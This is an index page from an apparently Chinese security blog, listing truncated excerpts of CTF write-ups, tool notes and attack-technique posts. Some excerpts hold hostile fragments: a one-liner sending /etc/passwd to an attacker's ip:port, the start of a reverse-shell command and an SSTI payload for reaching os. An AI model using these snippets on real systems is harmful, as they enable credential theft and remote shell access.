[极客大挑战 2019]Havefun (一起来撸猫)前言一道简单基础的WEB题让我看到了生活的希望以及对未来充满了向往猛虎下山打开题目链接我们可以看到只是一个静态页面就连可以点的东西都没有还有就是猫...
07月23日89 views评论echo
get
BUUCTF: [极客大挑战 2019] Havefun (一起来撸猫)
07月23日89 views评论echo
get
07月23日89 views评论echo
get
【实用】CentOS 7系统优化脚本
一、软件介绍： 作为一名运维，经常会部署各种用途的操作系统，但在这些工作中，我们会发现很多工作其实是重复性的劳动，操作的内容也是大同小异，基于这类情况，我们可以把相同的操作做成统一执行的脚本，不同的东...
07月15日16 views评论源码
脚本
FProbe：一款HTTP/HTTPS服务器快速探测工具
FProbe是一款HTTP/HTTPS服务器快速探测工具，广大研究人员只需要给FProbe提供一个域名或子域名列表，它就可以帮助我们探测目标域名后台运行的是HTTP服务器还是HTTPS服务器了。工具安...
07月05日40 views评论default
domains
奇淫技巧:linux下无回显可将回显发送到服务器
靶机无回显的情况下可使用 cancel 来把回显发送到攻击机端cancel -u "$(cat /etc/passwd)" -h ip:port攻击机...
07月05日40 views评论etc
passwd
SonicWall SSL-VPN RCE（远程命令执行）
粗茶淡饭不要紧，朋友散场没关系，兵荒马乱也无所谓…你拥有热气腾腾的灵魂，坚定不移的信念，每一天都有突破，每一步都在前进，坚持下去，沉淀下来。日子总会变好。漏洞简介SonicWallSSL-VPN 8....
06月29日493 views评论rce
vpn
绕过 Linux Shell 限制
常见现实绕过Reverse Shell# Double-Base64 是避免像+之类符号的方法。90%的情况下是有效的echo "echo $(echo 'bash -i >&...
06月14日安全文章38 views评论linux
shell
SSTI靶场WP
SSTI靶场WPpayload主要有两种形式:一种是获取os来执行命令{{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globa...
06月08日199 views评论url
waf
Linux 命令总结
1. 基本命令uname -m 显示机器的处理器架构uname -r 显示正在使用的内核版本dmidecode -q 显示硬件系统部件(SMBIOS / DMI) hdparm -i /de...
05月30日安全闲碎29 views评论name
架构
红日靶场04通关记录
点击上方“蓝字”，关注更多精彩0x00 环境搭建1、新建一个仅主机网段192.168.183.0/24来模拟内网网段2、再新建一个仅主机网段192.168.157.0/24来模拟外网网段3、三台机器配...
05月23日322 views评论docker
web
Hacker基础之Linux篇：基础Linux命令十六
今天我们来学习几个小知识，不一定是Linux的命令，都是用于查看Linux的系统信息的这也是我们的<Hacker基础之Linux篇：基础Linux命令>的最后一篇下一节我们会介绍<H...
04月30日23 views评论cpu
linux
命令执行绕过
2000年，NSfocus缘起
2000年，西工大的四大祸祸离开了两个，fnd到了北京从西安带走了cat。cat不吃鱼，但吃服务器，把学校DNS路由器黑了，发现那台Sun工作站性能很高，可能是见过的最高的，有128M内存，两个333...
04月25日100 views评论scz
启明星辰
5